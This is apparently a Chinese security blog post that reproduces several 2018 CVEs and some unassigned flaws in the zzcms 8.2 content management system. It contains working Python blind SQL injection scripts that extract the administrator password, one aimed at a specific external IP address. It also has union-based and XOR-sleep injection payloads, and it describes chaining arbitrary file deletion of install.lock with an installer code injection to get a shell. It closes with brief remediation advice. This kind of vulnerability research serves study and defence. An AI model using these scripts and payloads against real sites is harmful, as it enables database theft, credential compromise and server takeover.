看了一下最近的cve列表,發現有大佬怒刷了好多個cve,這個zzcms都快被審穿了,所以跟進學習一下
CMS背景
本文跟蹤的這個cms,屬於一個開源招商網站管理系統,屬於比較小的cms,所以很多地方寫的不是很完善,導致了漏洞的產生,項目官網爲http://www.zzcms.net/,本次我跟進的版本爲8.2。
CVE-2018-8966
首先,這是一個在安裝的時候的代碼注入,如果不配合其他漏洞刪除安裝後產生的鎖文件install.lock
,這個漏洞在實際環境中將毫無作用。
下面我們來具體分析一下漏洞產生的原因:
系統在安裝的過程中,對輸入的變量並沒有任何過濾就寫入了文件,所以我們只要閉合有關代碼,然後注入命令就可以拿到shell。
下面開始復現:
復現成功,同理,這裏既然能插入php代碼,那也可以插入一端javascript代碼,造成存儲型xss,具體流程不在分析。
CVE-2018-8967
這是一個前臺的sql注入,可以獲取管理員密碼的賬號密碼,問題出在了/user/adv2.php
下面我們分析一下代碼:
這裏整個cms還是對傳入的cms進行了過濾的,過濾代碼在/inc/stopsqlin.php,但是在這個地方,是沒有對sql變量用引號包裹,所以不用單引號也可以直接進行sql注入。
但是這個地方想要注入,前面需要滿足一定的條件,見下圖
至少要讓這兩個數據出來的值有一個是1,否則將不會進入注入的代碼。
這裏的坑點比較多,簡單講下吧,有一個知識點:
select * from zzcms_ad where id =1 or sleep(4);
按照常理這個會延時,但是如果表中是空的,那這個將不會有任何延時
所以我們在注入的時候,要保證表中有數據,才能正常延時盲注的
所以這裏要利用這個盲注,需要滿足的條件有:
- 註冊爲企業用戶,並且通過審覈
- 發佈廣告,報賬zzcms_main中,有一條記錄
- 整個網站的廣告表zzcms_add中需要至少有一條數據
當上面的條件都滿足的時候,就可以進行注入了,下面貼一下paylaod:
import requests
import string
s = requests.session()
url = "http://127.0.0.1:8000/user/adv2.php?action=modify"
cookies = {
'UserName':'test1',#換成你註冊的企業用戶的用戶名
}
flag = ''
for i in range(1,40):
for j in range(33,125):
data = {
'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}
try:
r = s.post(url,data=data,cookies=cookies,timeout=1)
except:
flag += chr(j)
print flag
break
print flag
CVE-2018-8965
這是一個任意文件刪除漏洞,危害還是很大的,配合上面的安裝過程中的getshell,還是可以有很大的攻擊面
出問題的代碼在:/user/ppsave.php
可以發現並沒有什麼驗證,只是判斷了一下是不是和之前的或者默認的一樣,然後只要文件存在,就使用了unlink
刪除了文件.
所以這個漏洞分析和利用都很簡單
我們刪除了安裝的鎖文件/install/install.lock
然後就可以重新安裝zzcms,從而配合上文分析的漏洞獲取shell。
CVE-2018-9309
又是一枚sql注入漏洞,不過這個也是一個需要登陸,需要設置相關信息才能利用的漏洞。屬於設計不當。
首先我們看一下出問題的核心代碼:
if (!empty($_POST["sql"])){//從模板中獲取SQL內容,爲發送對像
$_SESSION['sql']=stripfxg($_POST["sql"]);
}
$sql=$_SESSION['sql'];
$sql2=$sql." order by id asc limit $n,$size";
$rs=query($sql2);
$row=num_rows($rs);
可以發現這裏將post參數中的sql進行了解碼放進了session中,而stripfxg
函數代碼如下:
function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜槓
$string=stripslashes($string);//去反斜槓,不開get_magic_quotes_gpc 的情況下,在stopsqlin中都加上了,這裏要去了
if ($htmlspecialchars_decode==true){
$string=htmlspecialchars_decode($string);//轉html實體符號
}
if ($nl2br==true){
$string=nl2br($string);
}
return $string;
}
可以發現並不是什麼過濾,所以這裏直接拼接進入sql中是及其危險的,後面還有一些沒有申請cve的漏洞也是因爲調用了這個函數,導致了過濾失效。
代碼利用也是比較簡單的:
127.0.0.1/dl/dl_sendmail.php
post數據爲:
sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#
CVE-2018-9331
有一枚任意文件刪除漏洞,不得不說這個系統在這個的判斷上真的是很有問題
這次產生問題的文件在/user/adv.php
也是一個oldimg
和img
對比產生的問題
和上面分析類似,都是隻判斷了是否和原來的相同,然後拼接了../
就直接調用unlink
,所以利用也很簡單
只需要將html中表單屬性的hidden刪掉,然後直接輸入想要刪除的文件名就可以啦
沒有申請cve的漏洞
有幾個sql注入比較嚴重,下面逐個分析一下
No.1 getip()未過濾
出問題的代碼在/user/check.php
中
在檢查用戶登錄的位置,發現會調用getip()
這個函數,我們跟進看一下:
發現並沒有過濾,可以直接注入xff頭,來進行注入,注入腳本如下:
import requests
import string
s = requests.session()
url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以
cookies = {
'UserName':'test1',
'PassWord':'21232f297a57a5a743894a0e4a801fc3'
}
flag = ''
for i in range(1,40):
print i
for j in range(33,125):
head = {
'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}
try:
r = s.post(url,headers=head,cookies=cookies,timeout=9)
except:
flag += chr(j)
print flag
break
print flag
No.2 del.php未過濾
第二個注入產生的根源還是過濾的不夠嚴格,全局的注入過濾,在沒有引號的地方可以隨意注入,出問題的代碼在/user/del.php
不過這個注入有一個前提,我們需要先發佈一個諮詢信息,然後管理員審覈過以後,就可以利用來注入了,這個在實際場景中,還是可以實現的。
可以看到,直接將tablename拼接進入了sql語句中,所以利用起來難度也不是很大,但是這裏並沒有回顯,所以需要使用時間盲注,或者dns log外帶的方法來獲取數據。
No.3 stripfxg過濾不完整
在整個系統中,還有個函數是非常危險的,他可以將全局過濾還原成正常的數據,如果這個數據帶入了sql查詢中,是可以直接造成注入的。
代碼邏輯:
所以這裏的利用也是比較簡單的:
POST /user/msg.php?action=savedata&saveas=add
參數爲:
info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A
這裏有一個注入的小技巧,就是在做insert注入和update注入的時候,除了能夠多僞造一組數據以外,還可以使用這種異或符號加上sleep函數來延時注入
insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#
總結
系統存在的問題:
- 系統在實現邏輯的過程中,存在了太多了沒有過濾直接帶入邏輯的情況,這在很多大的框架中是不存在的,建議可以自己封裝一層,在封裝層中間實現好過濾,用起來也很方便
- 系統對用戶文件的存儲刪除有很大問題,很多在刪除用戶文件的時候,並沒有檢查是不是合法,就直接unlink了,這可以導致很大的問題。
- 系統在很多地方很輕易的就將自己的過濾去掉了,核心就是那個stripfxg函數,建議減少這個函數的使用,保證所有變量都經過了過濾。